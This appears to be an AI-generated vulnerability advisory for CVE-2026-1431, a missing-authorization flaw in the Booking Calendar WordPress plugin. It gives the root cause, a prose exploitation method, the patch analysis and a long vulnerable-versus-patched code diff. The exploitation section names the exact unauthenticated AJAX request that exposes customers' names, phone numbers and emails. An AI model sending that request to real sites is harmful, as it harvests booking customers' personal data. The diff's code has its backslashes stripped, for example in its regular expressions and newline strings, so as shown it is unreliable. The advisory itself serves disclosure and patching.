Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1431: Booking Calendar <= 10.14.13 – Missing Authorization to Unauthenticated Booking Details Exposure (booking)

CVE ID CVE-2026-1431
Plugin booking
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 10.14.13
Patched Version 10.14.14
Disclosed January 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1431:
The Booking Calendar WordPress plugin contains a missing authorization vulnerability in its timeline AJAX handler. This flaw allows unauthenticated attackers to retrieve sensitive booking information, including customer names, phone numbers, and email addresses. The vulnerability affects all plugin versions up to and including 10.14.13, with a CVSS score of 5.3 indicating medium severity.

Root Cause:
The vulnerability exists in the wpbc_ajax_WPBC_FLEXTIMELINE_NAV() function, which handles timeline navigation AJAX requests. The function lacks proper capability checks to verify user permissions before processing requests. In the vulnerable code at booking/core/timeline/v2/wpbc-class-timeline_v2.php line 258, the plugin only checks the ‘is_frontend’ parameter from user input without validating whether the request originates from an authenticated administrative user. Attackers can manipulate the ‘is_frontend’ parameter to bypass intended access controls.

Exploitation:
Attackers send POST requests to /wp-admin/admin-ajax.php with the action parameter set to ‘WPBC_FLEXTIMELINE_NAV’. The request includes parameters that set ‘is_frontend’ to 0 (false), tricking the plugin into processing the request as an administrative timeline view. No authentication or nonce verification is required. The attacker can specify date ranges and resource IDs to retrieve booking data through the same parameters legitimate administrators use.

Patch Analysis:
The patch adds authorization checks in the timeline constructor at booking/core/timeline/v2/wpbc-class-timeline_v2.php lines 258-298. When ‘is_frontend’ is false, the code now retrieves the minimum required user role from plugin settings using get_bk_option(‘booking_user_role_booking’). It compares the current user’s capability level against this requirement. If the user lacks sufficient privileges, the patch forces ‘is_frontend’ to 1, preventing unauthorized administrative access. The fix ensures only users with appropriate WordPress roles can access administrative timeline functions.

Impact:
Successful exploitation exposes sensitive booking information including customer names, phone numbers, and email addresses. This constitutes a privacy violation under data protection regulations. Attackers can harvest personal data for spam campaigns, phishing attacks, or identity theft. The vulnerability does not allow modification or deletion of bookings, but the exposed information could facilitate social engineering attacks against booking customers.

Differential between vulnerable and patched code

Code Diff
--- a/booking/core/timeline/v2/wpbc-class-timeline_v2.php
+++ b/booking/core/timeline/v2/wpbc-class-timeline_v2.php
@@ -258,7 +258,38 @@

 	    if ( ! defined( 'WPBC_TIMELINE_AJAX' ) ) { define( 'WPBC_TIMELINE_AJAX', true ); }        // FixIn: 8.4.7.13.

-        $this->is_frontend = (bool) $attr['is_frontend'];;
+		// FixIn: 10.14.14.2.
+		$is_frontend = (bool) $attr['is_frontend'];
+
+		// Not front-end (or possibly changed parameter by attacker to see the bookings).
+		if ( ! $is_frontend ) {
+
+			// If this is not front-end -- admin side, then allow do this only for logged in users, with minimum user role, defined in the settings.
+			// Get minimum  user  role to  access the Timeline in admin  panel (Booking Listing and Timeline Overview (Calendar Overview).
+			$curr_user_role = get_bk_option( 'booking_user_role_booking' );
+
+			// Get  current user.
+			$current_user = wpbc_get_current_user();
+			$user_role_map = array(
+				'administrator' => 10,
+				'editor'        => 7,
+				'author'        => 2,
+				'contributor'   => 1,
+				'subscriber'    => 0,
+			);
+
+			$level = 0;
+			if ( isset( $user_role_map[ $curr_user_role ] ) ) {
+				$level = $user_role_map[ $curr_user_role ];
+			}
+
+			if ( empty( $current_user ) || empty( $current_user->user_level ) || ( $current_user->user_level < $level ) ) {
+				// Security Fix: Enforce frontend mode for non-admins.
+				$attr['is_frontend'] = 1;
+			}
+		}
+
+        $this->is_frontend = (bool) $attr['is_frontend'];

         //Ovverride some parameters
 		//if ( isset( $attr['resource_id'] ) ) {  $attr['type'] = $attr['resource_id']; }
--- a/booking/includes/_capacity/captcha_simple_text.php
+++ b/booking/includes/_capacity/captcha_simple_text.php
@@ -17,30 +17,32 @@
  */
 function wpbc_captcha__in_ajx__check( $request_params, $is_from_admin_panel , $original_ajx_search_params ) {

-    if (
-			( 'On' === get_bk_option( 'booking_is_use_captcha' )  )
-	     && ( ! $is_from_admin_panel )
-		 && ( ( isset( $original_ajx_search_params['captcha_user_input'] ) ) && ( isset( $original_ajx_search_params['captcha_chalange'] ) ) )
+	if (
+			( ( 'On' === get_bk_option( 'booking_is_use_captcha' ) ) || ( WPBC_NEW_FORM_BUILDER ) ) &&
+			( ! $is_from_admin_panel ) &&
+			( ( isset( $original_ajx_search_params['captcha_user_input'] ) ) && ( isset( $original_ajx_search_params['captcha_chalange'] ) ) )
 	) {

 		if ( ! wpbc_captcha__simple__is_ansfer_correct( $request_params['captcha_user_input'], $request_params['captcha_chalange'] ) ) {

 			$captcha_arr = wpbc_captcha__simple__generate_new();

-			$ajx_data_arr = array();
-			$ajx_data_arr['status']       = 'error';
-			$ajx_data_arr['status_error'] = 'captcha_simple_wrong';
-			$ajx_data_arr['captcha__simple'] = $captcha_arr;
+			$ajx_data_arr                                    = array();
+			$ajx_data_arr['status']                          = 'error';
+			$ajx_data_arr['status_error']                    = 'captcha_simple_wrong';
+			$ajx_data_arr['captcha__simple']                 = $captcha_arr;
 			$ajx_data_arr['ajx_after_action_message']        = __( 'The code you entered is incorrect', 'booking' );
 			$ajx_data_arr['ajx_after_action_message_status'] = 'warning';

-			wp_send_json( array(
-					'ajx_data'              => $ajx_data_arr,
-					'ajx_search_params'     => $original_ajx_search_params,
-					'ajx_cleaned_params'    => $request_params,
-					'resource_id'           => $request_params['resource_id']
-				) );
-			// After this page will die;
+			wp_send_json(
+				array(
+					'ajx_data'           => $ajx_data_arr,
+					'ajx_search_params'  => $original_ajx_search_params,
+					'ajx_cleaned_params' => $request_params,
+					'resource_id'        => $request_params['resource_id'],
+				)
+			);
+			// After this page will die;.
 		}
 	}
 }
@@ -186,7 +188,7 @@
  */
 function wpbc_booking_form_is_captcha_allowed_here() {

-	if ( 'On' !== get_bk_option( 'booking_is_use_captcha' ) ) {
+	if ( ( 'On' !== get_bk_option( 'booking_is_use_captcha' ) ) && ( ! WPBC_NEW_FORM_BUILDER ) ) {
 		return false;
 	}

--- a/booking/includes/_functions/calendar_scripts.php
+++ b/booking/includes/_functions/calendar_scripts.php
@@ -10,6 +10,7 @@
  * @email info@wpbookingcalendar.com
  *
  * @modified 2025-07-19
+ * @file: ../includes/_functions/calendar_scripts.php
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -69,31 +70,29 @@
 		border-radius: 30px;
 		animation: calendar_loader_bar_progress 3s infinite linear;
 	}
-	@keyframes calendar_loader_bar_progress {
-		to { width: 100%; }
-	}
+	@keyframes calendar_loader_bar_progress { to { width: 100%; } }
 	@media (prefers-reduced-motion: reduce) {
-		.calendar_loader_frame__progress_line {
-			animation: none;
-			width: 50%;
-		}
+		.calendar_loader_frame__progress_line { animation: none; width: 50%; }
 	}
 	";

-	// Elementor-safe path: collect CSS into assets manager (no <style> inside content).
+	// Elementor-safe path: attach CSS to an enqueued WPBC stylesheet.
 	if ( class_exists( 'WPBC_FE_Assets' ) ) {

-		// If wp_head already fired, printing in head is too late => push to footer.  // did_action( 'wp_head' ) ? 'footer' : 'head'; // .
-		$position = 'head';
+		// Ensure the target style is enqueued (safe-check anyway).
+		if ( function_exists( 'wp_enqueue_style' ) ) {
+			wp_enqueue_style( 'wpbc-ui-both', wpbc_plugin_url( '/css/wpbc_ui_both.css' ), array(), WP_BK_VERSION_NUM );                                                            // FixIn: 10.0.0.25.
+		}
+		// FixIn: 10.14.14.1.
+		$added = WPBC_FE_Assets::add_inline_css_to_wp_style( 'wpbc-ui-both', $css, 'wpbc:calendar-loader-css' );

-		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-		echo WPBC_FE_Assets::add_inline_css( $css, 'wpbc_calendar_loader_inline_css', $position );
+		if ( $added ) {
+			return; // Do NOT print <style> inside content.
+		}
 	}

-	// Legacy fallback (may be stripped by some builders; kept for backward compatibility).
-	?>
-	<style id="wpbc_calendar_loader_inline_css"><?php echo $css; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></style>
-	<?php
+	// Legacy fallback (only when WP inline style cannot be attached).
+	echo "n" . '<style id="wpbc_calendar_loader_inline_css">' . "n" . $css . "n" . '</style>' . "n";                // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 }


--- a/booking/includes/fontend/class-fe-inline-css-js.php
+++ b/booking/includes/fontend/class-fe-inline-css-js.php
@@ -8,11 +8,6 @@
  * IMPORTANT:
  * This is NOT “Elementor-safe” by design. It outputs inline tags at the call site.
  *
- * Usage (prints immediately where called):
- *
- * WPBC_FE_Assets::add_inline_css( $css, 'wpbc_calendar_loader_inline_css' );
- * WPBC_FE_Assets::add_jq_ready_js( $js_body, 'wpbc:calendar-loader:init' );
- *
  * @file: includes/fontend/class-fe-inline-css-js.php
  * @package Booking Calendar
  * @since   11.0.x
@@ -33,6 +28,10 @@
 	/** @var array */
 	protected static $printed_js  = array();

+	// ------------------------------------------------------------------------------------------------
+	// == CSS ==
+	// ------------------------------------------------------------------------------------------------
+
 	/**
 	 * Print inline CSS immediately (deduped by key).
 	 *
@@ -58,8 +57,53 @@

 		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 		return "n" . '<style id="' . esc_attr( $id ) . '">' . "n" . $css . "n" . '</style>' . "n";
+
+		// wp_add_inline_style( $id, $css );  ???
+	}
+
+	/**
+	 * Add inline CSS via WP style handle (Elementor-safe).
+	 * Avoids printing <style> tags inside content.
+	 *
+	 * @param string $handle Style handle (e.g. 'wpbc-ui-both').
+	 * @param string $css    CSS text.
+	 * @param string $key    Dedupe key (optional).
+	 *
+	 * @return bool True if added / already added, false if not possible.
+	 */
+	public static function add_inline_css_to_wp_style( $handle, $css, $key = '' ) {
+		// FixIn: 10.14.14.1.
+		$handle = is_scalar( $handle ) ? trim( (string) $handle ) : '';
+		$css    = is_scalar( $css ) ? trim( (string) $css ) : '';
+
+		if ( '' === $handle || '' === $css ) {
+			return false;
+		}
+
+		if ( ! function_exists( 'wp_add_inline_style' ) ) {
+			return false;
+		}
+
+		// Handle must exist in WP styles system.
+		if ( ! wp_style_is( $handle, 'enqueued' ) && ! wp_style_is( $handle, 'done' ) && ! wp_style_is( $handle, 'registered' ) ) {
+			return false;
+		}
+
+		$key = self::normalize_key( $key, $css, 'css' );
+		if ( isset( self::$printed_css[ $key ] ) ) {
+			return true;
+		}
+		self::$printed_css[ $key ] = true;
+
+		wp_add_inline_style( $handle, $css );
+
+		return true;
 	}

+	// ------------------------------------------------------------------------------------------------
+	// == JS ==
+	// ------------------------------------------------------------------------------------------------
+
 	/**
 	 * Print inline JS immediately (deduped by key).
 	 *
@@ -89,7 +133,7 @@
 	}

 	/**
-	 * Print JS wrapped into wpbc_jq_ready_start()/wpbc_jq_ready_end(), immediately.
+	 * Deprecated (use this add_jq_ready_js_to_wp_script  instead): Print JS wrapped into wpbc_jq_ready_start()/wpbc_jq_ready_end(), immediately.
 	 *
 	 * @param string $js_body
 	 * @param string $key
--- a/booking/includes/fontend/class-fe-render-form-body.php
+++ b/booking/includes/fontend/class-fe-render-form-body.php
@@ -10,7 +10,7 @@
  *
  * @package Booking Calendar
  * @since   11.0.x
- * @file    ../includes/fontend/class-fe-form-body-rendering.php
+ * @file    ../includes/fontend/class-fe-render-form-body.php
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -99,6 +99,10 @@
 			$form_html = apply_filters( 'wpbc_booking_form_content__after_load', $form_html, $resource_id, $custom_booking_form );
 		}

+
+		// 1. Body HTML, before you inject calendar/captcha/extra calendars.  Postprocess Form Conent - regarding settings - e.g.:  $source_res['bfb_settings'] = [   options = [  booking_form_theme = "wpbc_theme_dark_1", .... ], ...
+		$form_html = apply_filters( 'wpbc_booking_form__body_html__before_postprocess', $form_html, $source_res['bfb_settings'], $resource_id, $custom_booking_form );
+
 		$form_html = WPBC_FE_Form_Postprocessor::apply( $form_html, $calendar_html, array(
 			'resource_id'                     => $resource_id,
 			'custom_booking_form'             => $custom_booking_form,
@@ -110,14 +114,24 @@
 			'nl'                              => $nl,
 		) );

+		// 2. Composed booking form HTML (calendar already inserted).    Postprocess Form Conent - regarding settings - e.g.:  $source_res['bfb_settings'] = [   options = [  booking_form_theme = "wpbc_theme_dark_1", .... ], ...
+		$form_html = apply_filters( 'wpbc_booking_form__html__before_wrapper', $form_html, $source_res['bfb_settings'], $resource_id, $custom_booking_form );
+
 		$wrapped = WPBC_FE_Form_Wrapper::wrap( $form_html, $resource_id );

+		// 3. Postprocess Form Conent - regarding settings - e.g.:  $source_res['bfb_settings'] = [   options = [  booking_form_theme = "wpbc_theme_dark_1", .... ], ...
+		$wrapped = apply_filters( 'wpbc_booking_form__wrapped_html__before_inline_scripts', $wrapped, $source_res['bfb_settings'], $resource_id, $custom_booking_form );
+
 		$wrapped .= WPBC_FE_Inline_Scripts::collect( $resource_id, $selected_dates_without_calendar );

+		// 4. Postprocess Form Conent - regarding settings - e.g.:  $source_res['bfb_settings'] = [   options = [  booking_form_theme = "wpbc_theme_dark_1", .... ], ...
+		$wrapped = apply_filters( 'wpbc_booking_form__wrapped_html__after_inline_scripts', $wrapped, $source_res['bfb_settings'], $resource_id, $custom_booking_form );
+
 		return $wrapped;
 	}
 }

+
 /**
  * Calendar markup builder for booking form composition.
  *
@@ -237,8 +251,60 @@
 				$bfb_loader_args['form_id'] = (int) $custom_params['bfb_form_id'];
 			}

-			// Get shortcodes source from BFB loader.
-			$bfb_source = wpbc_bfb_get_booking_form_source( $bfb_loader_args );
+			$bfb_settings  = array();
+			$bfb_source    = trim( '' );
+			$settings_json = trim( '' );
+
+			if ( function_exists( 'wpbc_bfb_get_booking_form_pair' ) ) {
+
+				$bfb_pair = wpbc_bfb_get_booking_form_pair( $bfb_loader_args );
+
+				if ( is_array( $bfb_pair ) ) {
+					$bfb_source    = isset( $bfb_pair['form'] ) ? (string) $bfb_pair['form'] : '';
+					$settings_json = isset( $bfb_pair['settings_json'] ) ? (string) $bfb_pair['settings_json'] : '';
+				}
+
+			} else {
+
+				// Fallback (old behavior).
+				$bfb_source = wpbc_bfb_get_booking_form_source( $bfb_loader_args );
+			}
+
+			if ( '' !== $settings_json ) {
+				$decoded = json_decode( $settings_json, true );
+				if ( is_array( $decoded ) ) {
+					$bfb_settings = $decoded;
+				}
+			}
+
+			// Allow loader to return either string OR array with settings.
+			if ( is_array( $bfb_source ) ) {
+
+				// Common possible keys (support multiple formats, future-proof).
+				if ( ! empty( $bfb_source['settings'] ) && is_array( $bfb_source['settings'] ) ) {
+					$bfb_settings = $bfb_source['settings'];
+				} elseif ( ! empty( $bfb_source['settings_json'] ) && is_string( $bfb_source['settings_json'] ) ) {
+					$decoded = json_decode( $bfb_source['settings_json'], true );
+					if ( is_array( $decoded ) ) {
+						$bfb_settings = $decoded;
+					}
+				}
+
+				// Source itself.
+				if ( isset( $bfb_source['advanced_form'] ) ) {
+					$bfb_source = (string) $bfb_source['advanced_form'];
+				} elseif ( isset( $bfb_source['source'] ) ) {
+					$bfb_source = (string) $bfb_source['source'];
+				} else {
+					$bfb_source = '';
+				}
+			}
+
+			// Optional fallback hook if you keep loader returning string for now.
+			if ( empty( $bfb_settings ) ) {
+				$bfb_settings = apply_filters( 'wpbc_bfb_form_settings_for_render', array(), $bfb_loader_args, $resource_id, $custom_booking_form, $custom_params );
+			}
+

 			if ( '' !== trim( (string) $bfb_source ) ) {

@@ -272,6 +338,7 @@
 					return array(
 						'body_html'               => $bfb_form_html,
 						'apply_after_load_filter' => ! empty( $resolved['apply_after_load_filter'] ),
+						'bfb_settings'            => $bfb_settings,
 					);
 				}
 			}
@@ -289,6 +356,7 @@
 			return array(
 				'body_html'               => $legacy_instance->wpdev_bk_personal->get_booking_form( $resource_id, $custom_booking_form, $custom_params ),
 				'apply_after_load_filter' => false,
+				'bfb_settings'            => array(),
 			);
 		}

@@ -298,6 +366,7 @@
 		return array(
 			'body_html'               => wpbc_simple_form__get_booking_form__as_html( $resource_id, $custom_booking_form, $custom_params ),
 			'apply_after_load_filter' => true,
+			'bfb_settings'            => array(),
 		);
 	}

@@ -457,7 +526,7 @@
 	 * @param int    $resource_id
 	 * @param string $selected_dates_without_calendar
 	 *
-	 * @return void
+	 * @return string Inline scripts HTML.
 	 */
 	public static function collect( $resource_id, $selected_dates_without_calendar ) {

@@ -560,3 +629,126 @@
 		return $js_body;
 	}
 }
+
+class WPBC_FE_Form_Style_Injector {
+
+	/**
+	 * Inject CSS variables into the FIRST <div ... class="... wpbc_bfb_form ..."> tag.
+	 *
+	 * @param string $html
+	 * @param array  $css_vars  Map: '--var-name' => 'value'
+	 *
+	 * @return string
+	 */
+	public static function inject_css_vars_into_bfb_root( $html, $css_vars ) {
+
+		$html     = (string) $html;
+		$css_vars = is_array( $css_vars ) ? $css_vars : array();
+
+		if ( empty( $css_vars ) ) {
+			return $html;
+		}
+		if ( false === strpos( $html, 'wpbc_bfb_form' ) ) {
+			return $html;
+		}
+
+		$style_append = self::build_css_vars_style_fragment( $css_vars );
+		if ( '' === $style_append ) {
+			return $html;
+		}
+
+		$pattern = '/<divb[^>]*bclasss*=s*(["'])(?:(?!1).)*bwpbc_bfb_formb(?:(?!1).)*1[^>]*>/i';
+
+		return preg_replace_callback(
+			$pattern,
+			function( $m ) use ( $style_append ) {
+
+				$tag = $m[0];
+
+				// If style already exists: append.
+				if ( preg_match( '/bstyles*=s*(["'])(.*?)1/i', $tag, $sm ) ) {
+
+					$quote    = $sm[1];
+					$existing = (string) $sm[2];
+
+					$merged = trim( $existing );
+					if ( ( '' !== $merged ) && ( ';' !== substr( $merged, -1 ) ) ) {
+						$merged .= ';';
+					}
+					$merged .= $style_append;
+
+					$tag = preg_replace(
+						'/bstyles*=s*(["'])(.*?)1/i',
+						'style=' . $quote . esc_attr( $merged ) . $quote,
+						$tag,
+						1
+					);
+
+					return $tag;
+				}
+
+				// No style attr: add it.
+				$tag = rtrim( $tag, '>' ) . ' style="' . esc_attr( $style_append ) . '">';
+
+				return $tag;
+			},
+			$html,
+			1
+		);
+	}
+
+	/**
+	 * Build CSS vars fragment: "--a:1;--b:2;"
+	 *
+	 * @param array $css_vars
+	 *
+	 * @return string
+	 */
+	private static function build_css_vars_style_fragment( $css_vars ) {
+
+		$out = '';
+
+		foreach ( $css_vars as $name => $value ) {
+
+			$name  = self::sanitize_css_var_name( $name );
+			$value = self::sanitize_css_var_value( $value );
+
+			if ( '' === $name || '' === $value ) {
+				continue;
+			}
+
+			$out .= $name . ':' . $value . ';';
+		}
+
+		return $out;
+	}
+
+	private static function sanitize_css_var_name( $name ) {
+
+		$name = is_scalar( $name ) ? trim( (string) $name ) : '';
+
+		// Keep it strict: only CSS custom properties, preferably your namespace.
+		if ( ! preg_match( '/^--[a-z0-9-_]+$/i', $name ) ) {
+			return '';
+		}
+		// Optional: enforce prefix to avoid abusing other vars.
+		if ( 0 !== strpos( $name, '--wpbc-' ) && 0 !== strpos( $name, '--wpbc_bfb-' ) ) {
+			return '';
+		}
+
+		return $name;
+	}
+
+	private static function sanitize_css_var_value( $value ) {
+
+		$value = is_scalar( $value ) ? trim( (string) $value ) : '';
+		if ( '' === $value ) {
+			return '';
+		}
+
+		// Remove dangerous characters for inline style attribute.
+		$value = str_replace( array( '"', "'", '<', '>', "n", "r" ), '', $value );
+
+		return $value;
+	}
+}
--- a/booking/includes/fontend/hooks/class-fe-bfb-settings-hooks.php
+++ b/booking/includes/fontend/hooks/class-fe-bfb-settings-hooks.php
@@ -0,0 +1,159 @@
+<?php
+/**
+ * BFB Settings -> Front-End Booking Form Post-Processing Hooks
+ *
+ * This file registers hook callbacks that apply **BFB form settings** (decoded JSON settings array) to the final booking form HTML that is rendered on the front-end.
+ *
+ * These hooks are executed inside `WPBC_FE_Form_Body_Renderer::render()` in this order:
+ *
+ * 1) `wpbc_booking_form__body_html__before_postprocess`        -->   raw **form body HTML only** (no injected calendar/captcha/extra calendars yet).
+ *
+ * 2) `wpbc_booking_form__html__before_wrapper`                 -->   composed **form HTML** where calendar/captcha/extra calendars already injected,
+ *
+ * 3) `wpbc_booking_form__wrapped_html__before_inline_scripts   -->   full **wrapped HTML** including the wrapper `<div class="wpbc_container wpbc_form ...">` and the `<form>` markup
+ *
+ * 4) `wpbc_booking_form__wrapped_html__after_inline_scripts`   -->   the final HTML after inline scripts are appended.
+ *
+ * Notes:
+ * - `$bfb_settings` is expected to be an array like:
+ *   [
+ *     'options'       => [ 'booking_form_theme' => 'wpbc_theme_dark_1', ... ],
+ *     'css_vars' => [ '--wpbc-bfb-form-max-width' => '430px', ... ]
+ *   ]
+ *
+ * @package Booking Calendar
+ * @since   11.0.x
+ * @file    ../includes/fontend/hooks/class-fe-bfb-settings-hooks.php
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Inject per-form CSS variables into the BFB form root wrapper.   On Step 1.
+ *
+ * Purpose:
+ * - If the form body contains the BFB root element (class `wpbc_bfb_form`),
+ *   inject CSS Custom Properties (variables) into its `style` attribute.
+ *
+ * This hook must run **before** legacy post-processing inserts calendars/captcha, because it targets the BFB body root and should not depend on wrapper existence.
+ *
+ * Expected `$bfb_settings` format:  - `$bfb_settings['css_vars']` is an associative array: `--var-name` => `value`.
+ *
+ * @since  11.0.x
+ *
+ * @param string $form_html               Raw booking form body HTML (no calendar/captcha injected yet).
+ * @param array  $bfb_settings            Decoded BFB settings array (may be empty).
+ * @param int    $resource_id             Booking resource ID.
+ * @param string $custom_booking_form_name Booking form slug/name (legacy: "standard").
+ *
+ * @return string Filtered body HTML.
+ */
+function wpbc_booking_form__body_html__before_postprocess__apply_css_vars( $form_html, $bfb_settings, $resource_id, $custom_booking_form_name ) {
+
+	$form_html    = (string) $form_html;
+	$bfb_settings = is_array( $bfb_settings ) ? $bfb_settings : array();
+
+	// Nothing to apply.
+	if ( empty( $bfb_settings['css_vars'] ) || ! is_array( $bfb_settings['css_vars'] ) ) {
+		return $form_html;
+	}
+
+	// Injector not available.
+	if ( ! class_exists( 'WPBC_FE_Form_Style_Injector' ) ) {
+		return $form_html;
+	}
+
+	// Inject only if a BFB root exists inside the body.
+	return WPBC_FE_Form_Style_Injector::inject_css_vars_into_bfb_root( $form_html, $bfb_settings['css_vars'] );
+}
+add_filter( 'wpbc_booking_form__body_html__before_postprocess', 'wpbc_booking_form__body_html__before_postprocess__apply_css_vars', 10, 4 );
+
+
+/**
+ * Apply a "theme" CSS class to the main booking form wrapper container.   On Step 3.
+ *
+ * Purpose:
+ * - Add `$bfb_settings['options']['booking_form_theme']` as an extra class to the FIRST wrapper container:
+ *   `<div class="... wpbc_container wpbc_form ...">`
+ *
+ * Why here:
+ * - The wrapper container does not exist until `WPBC_FE_Form_Wrapper::wrap()` runs, therefore this must be executed on the wrapped HTML stage.
+ *
+ * Potential limitations:
+ * - This implementation supports a **single** class value. If you plan to support multiple
+ *   classes in one setting (space-separated), you should split and sanitize each class.
+ *
+ * @since  11.0.x
+ *
+ * @param string $wrapped_html            Fully wrapped booking form HTML (before inline scripts appended).
+ * @param array  $bfb_settings            Decoded BFB settings array (may be empty).
+ * @param int    $resource_id             Booking resource ID.
+ * @param string $custom_booking_form_name Booking form slug/name (legacy: "standard").
+ *
+ * @return string Filtered wrapped HTML.
+ */
+function wpbc_booking_form__wrapped_html__before_inline_scripts__apply_theme_class( $wrapped_html, $bfb_settings, $resource_id, $custom_booking_form_name ) {
+
+	$wrapped_html = (string) $wrapped_html;
+	$bfb_settings = is_array( $bfb_settings ) ? $bfb_settings : array();
+
+	if ( empty( $bfb_settings['options']['booking_form_theme'] ) ) {
+		return $wrapped_html;
+	}
+
+	// Get theme class(es).
+	$raw_theme     = trim( (string) $bfb_settings['options']['booking_form_theme'] );
+	$theme_class_arr = array(); // token => true .
+	$parts = preg_split( '/s+/', $raw_theme, - 1, PREG_SPLIT_NO_EMPTY );
+	foreach ( $parts as $part ) {
+		$tok = sanitize_html_class( (string) $part );
+		if ( '' === $tok ) { continue; }
+		$theme_class_arr[ $tok ] = true;
+	}
+	$theme_class_arr = array_keys( $theme_class_arr );
+	if ( empty( $theme_class_arr ) ) {
+		return $wrapped_html;
+	}
+
+
+	/**
+	 * Find the first wrapper container:
+	 * <div class="... wpbc_container wpbc_form ...">
+	 *
+	 * BUG CHECK:
+	 * - The pattern is "tempered" to find the class attribute containing both tokens.
+	 * - It does not require order (wpbc_container can appear before/after wpbc_form).
+	 * - It matches the opening <div ...> tag only.
+	 */
+	$pattern = '/<divb[^>]*bclasss*=s*(["'])(?:(?!1).)*bwpbc_containerb(?:(?!1).)*bwpbc_formb(?:(?!1).)*1[^>]*>/i';
+
+	return preg_replace_callback( $pattern, function ( $m ) use ( $theme_class_arr ) {
+
+		$tag = $m[0];
+
+		if ( preg_match( '/bclasss*=s*(["'])(.*?)1/i', $tag, $cm ) ) {
+
+			$quote   = $cm[1];
+			$classes = (string) $cm[2];
+
+			// Optional but recommended: remove any existing wpbc_theme_* to avoid conflicts.
+			$classes = preg_replace( '/bwpbc_theme_[A-Za-z0-9_-]+b/', '', $classes );
+			$classes = trim( preg_replace( '/s+/', ' ', $classes ) );
+
+			// Add missing theme tokens.
+			foreach ( $theme_class_arr as $tok ) {
+				if ( false === strpos( ' ' . $classes . ' ', ' ' . $tok . ' ' ) ) {
+					$classes = trim( $classes . ' ' . $tok );
+				}
+			}
+
+			$tag = preg_replace( '/bclasss*=s*(["'])(.*?)1/i', 'class=' . $quote . esc_attr( $classes ) . $quote, $tag, 1 );
+		}
+
+		return $tag;
+	}, $wrapped_html, 1 );
+
+}
+add_filter( 'wpbc_booking_form__wrapped_html__before_inline_scripts', 'wpbc_booking_form__wrapped_html__before_inline_scripts__apply_theme_class', 10, 4 );
--- a/booking/includes/save-load-option/save-load-option.php
+++ b/booking/includes/save-load-option/save-load-option.php
@@ -35,7 +35,7 @@
  * @package   Booking Calendar
  * @author    wpdevelop
  * @since     11.0.0
- * @version   1.0.0
+ * @version   1.0.1
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -44,39 +44,11 @@

 class wpbc_option_saver_loader {

-	/**
-	 * Save AJAX slug.
-	 *
-	 * @var string
-	 */
 	private static $ajax_action_save = 'wpbc_ajax_option_save';
-
-	/**
-	 * Load AJAX slug.
-	 *
-	 * @var string
-	 */
 	private static $ajax_action_load = 'wpbc_ajax_option_load';
+	private static $option_prefix    = '';
+	private static $asset_version    = '1.0.1';

-	/**
-	 * Option key prefix (keep empty for plain keys).
-	 *
-	 * @var string
-	 */
-	private static $option_prefix = '';
-
-	/**
-	 * Asset version.
-	 *
-	 * @var string
-	 */
-	private static $asset_version = '1.0.0';
-
-	/**
-	 * Bootstrap.
-	 *
-	 * @return void
-	 */
 	public static function init() {
 		add_action( 'init', array( __CLASS__, 'register_ajax_handlers' ) );
 		add_action( 'admin_enqueue_scripts', array( __CLASS__, 'enqueue_assets' ) );
@@ -148,8 +120,12 @@
 		}

 		$data_name   = isset( $_POST['data_name'] ) ? sanitize_key( wp_unslash( $_POST['data_name'] ) ) : '';
-  		/* phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Missing */
+		/* phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Missing */
 		$data_raw    = isset( $_POST['data_value'] ) ? wp_unslash( $_POST['data_value'] ) : '';
+		// Optional: split JSON object into multiple options.
+		$data_mode   = isset( $_POST['data_mode'] ) ? sanitize_key( wp_unslash( $_POST['data_mode'] ) ) : '';
+		$data_fields = isset( $_POST['data_fields'] ) ? sanitize_text_field( wp_unslash( $_POST['data_fields'] ) ) : '';
+
 		$nonce_name  = isset( $_POST['nonce_action'] ) ? sanitize_key( wp_unslash( $_POST['nonce_action'] ) ) : '';
 		$nonce_value = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';

@@ -163,9 +139,75 @@

 		$value_to_store = self::normalize_incoming_value( $data_raw );

+		// Split mode: JSON object => multiple options saved separately.
+		if ( 'split' === $data_mode && is_array( $value_to_store ) ) {
+
+			$allowed_keys = array();
+			if ( '' !== trim( $data_fields ) ) {
+				$parts = explode( ',', (string) $data_fields );
+				foreach ( $parts as $p ) {
+					$k = sanitize_key( trim( (string) $p ) );
+					if ( '' !== $k ) {
+						$allowed_keys[ $k ] = true;
+					}
+				}
+			}
+
+			$saved = array();
+
+			foreach ( $value_to_store as $k => $v ) {
+
+				if ( ! is_scalar( $k ) ) {
+					continue;
+				}
+
+				$opt_key = sanitize_key( (string) $k );
+				if ( '' === $opt_key ) {
+					continue;
+				}
+
+				// If allowlist provided, only save those keys.
+				if ( ! empty( $allowed_keys ) && ! isset( $allowed_keys[ $opt_key ] ) ) {
+					continue;
+				}
+
+				// Values: allow scalar or arrays (already sanitized by normalize_incoming_value()).
+				$opt_val = $v;
+				if ( is_scalar( $opt_val ) ) {
+					$opt_val = sanitize_text_field( (string) $opt_val );
+				} elseif ( is_array( $opt_val ) ) {
+					$opt_val = self::sanitize_mixed_value( $opt_val );
+				} else {
+					$opt_val = '';
+				}
+
+				self::update_option( self::$option_prefix . $opt_key, $opt_val );
+				$saved[ $opt_key ] = $opt_val;
+			}
+
+			if ( empty( $saved ) ) {
+				wp_send_json_error( array( 'message' => __( 'Nothing to save.', 'booking' ) ) );
+			}
+
+			wp_send_json_success(
+				array(
+					'message' => __( 'Settings saved.', 'booking' ),
+					'value'   => $saved,
+					'mode'    => 'split',
+				)
+			);
+		}
+
+		// Default: store as a single option (scalar/array).
 		self::update_option( self::$option_prefix . $data_name, $value_to_store );

